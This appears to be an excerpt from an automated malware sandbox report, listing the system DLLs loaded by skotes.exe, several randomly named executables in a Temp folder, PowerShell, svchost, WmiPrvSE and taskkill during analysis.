Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: backupofflinedownload.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: threadrestartterminal.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: backupofflinedownload.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: d3d9.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
